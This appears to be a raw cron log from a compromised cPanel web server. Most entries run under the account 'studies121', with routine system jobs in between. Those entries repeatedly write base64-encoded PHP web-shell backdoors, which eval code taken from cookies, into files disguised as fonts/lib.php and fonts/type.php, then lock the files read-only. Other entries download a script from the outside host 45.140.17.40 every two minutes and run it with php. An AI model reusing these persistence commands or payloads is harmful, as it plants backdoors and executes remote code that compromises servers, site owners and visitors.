Sep  4 07:07:01 ip-184-168-122-23 CROND[12015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:07:01 ip-184-168-122-23 CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:08:01 ip-184-168-122-23 CROND[12125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:08:01 ip-184-168-122-23 CROND[12129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:08:01 ip-184-168-122-23 CROND[12130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:08:01 ip-184-168-122-23 CROND[12128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:08:01 ip-184-168-122-23 CROND[12127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:09:01 ip-184-168-122-23 CROND[12234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:09:01 ip-184-168-122-23 CROND[12236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:09:01 ip-184-168-122-23 CROND[12239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:09:01 ip-184-168-122-23 CROND[12237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:09:01 ip-184-168-122-23 CROND[12238]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:10:01 ip-184-168-122-23 CROND[12378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:10:01 ip-184-168-122-23 CROND[12382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:10:01 ip-184-168-122-23 CROND[12383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:11:02 ip-184-168-122-23 CROND[12534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:11:02 ip-184-168-122-23 CROND[12535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:11:02 ip-184-168-122-23 CROND[12536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:11:02 ip-184-168-122-23 CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:12:02 ip-184-168-122-23 CROND[12727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:12:02 ip-184-168-122-23 CROND[12728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:12:02 ip-184-168-122-23 CROND[12733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:12:02 ip-184-168-122-23 CROND[12732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:12:02 ip-184-168-122-23 CROND[12734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:13:01 ip-184-168-122-23 CROND[12881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:13:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:13:01 ip-184-168-122-23 CROND[12884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:13:01 ip-184-168-122-23 CROND[12889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:14:01 ip-184-168-122-23 CROND[12983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:14:01 ip-184-168-122-23 CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:14:01 ip-184-168-122-23 CROND[12986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:14:01 ip-184-168-122-23 CROND[12987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:14:01 ip-184-168-122-23 CROND[12988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:15:01 ip-184-168-122-23 CROND[13087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:15:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:15:01 ip-184-168-122-23 CROND[13092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:15:01 ip-184-168-122-23 CROND[13091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:15:01 ip-184-168-122-23 CROND[13089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:15:01 ip-184-168-122-23 CROND[13088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:16:01 ip-184-168-122-23 CROND[13183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:16:01 ip-184-168-122-23 CROND[13185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:16:01 ip-184-168-122-23 CROND[13186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:16:01 ip-184-168-122-23 CROND[13188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:16:01 ip-184-168-122-23 CROND[13189]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:16:01 ip-184-168-122-23 CROND[13187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:17:01 ip-184-168-122-23 CROND[13299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:17:01 ip-184-168-122-23 CROND[13301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:17:01 ip-184-168-122-23 CROND[13302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:17:01 ip-184-168-122-23 CROND[13303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:18:01 ip-184-168-122-23 CROND[13446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:18:01 ip-184-168-122-23 CROND[13447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:18:01 ip-184-168-122-23 CROND[13448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:18:01 ip-184-168-122-23 CROND[13452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:18:01 ip-184-168-122-23 CROND[13450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:19:01 ip-184-168-122-23 CROND[13622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:19:01 ip-184-168-122-23 CROND[13623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:19:01 ip-184-168-122-23 CROND[13626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
